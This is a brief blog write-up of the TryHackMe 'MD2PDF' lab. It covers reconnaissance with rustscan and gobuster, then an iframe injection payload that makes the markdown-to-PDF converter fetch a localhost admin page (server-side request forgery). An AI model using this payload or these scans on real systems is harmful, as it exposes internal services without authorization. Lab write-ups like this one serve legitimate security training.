Skip to main content

Command Palette

Search for a command to run...

THM WriteUP | MD2PDF

Updated
1 min read
THM WriteUP | MD2PDF
S

Professional pentester, technical writer, telegram channel owner

Intro

Hello ethical hackers! Today we are going to pass the MD2PDF room on TryHackMe. This lab has tags: SSRF, XSS, MarkDown, PDF.

Recon

For no need to enter IP again and again. I exported IP like a variable in current bash shell.

export IP=*.*.*.*

Then i scan the host with rustscan.

We find ssh and http. Go to web:

We see the simplest md to pdf converter. Let's test him. While testing run gobuster to dirsearching.

gobuster dir -u "http://$IP/" -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt -t 50

Found something interesting

We really don't have access to admin/

If we analyze the error, we see that we need to make a request from localhost:5000.

Exploitation

Back to MD editor, try to exploit iframe injection:

<iframe src="http://localhost:5000/admin"></iframe>

Rooted!

More from this blog

Инъекция XSS в скрытых полях ввода и мета-тегах

​Введение​ В этом посте автор покажет, как вы можете использовать новую функцию всплывающих окон HTML в Chrome для эксплуатации XSS в мета-тегах и скрытых полях ввода. Все началось, когда я заметил новое поведение всплывающих окон в Chrome на Twitter...

Jul 13, 20233 min read178
Инъекция XSS в скрытых полях ввода и мета-тегах

Zybnev Sergey | Pentester | Blog

19 posts

Professional pentester, programmer and web designer.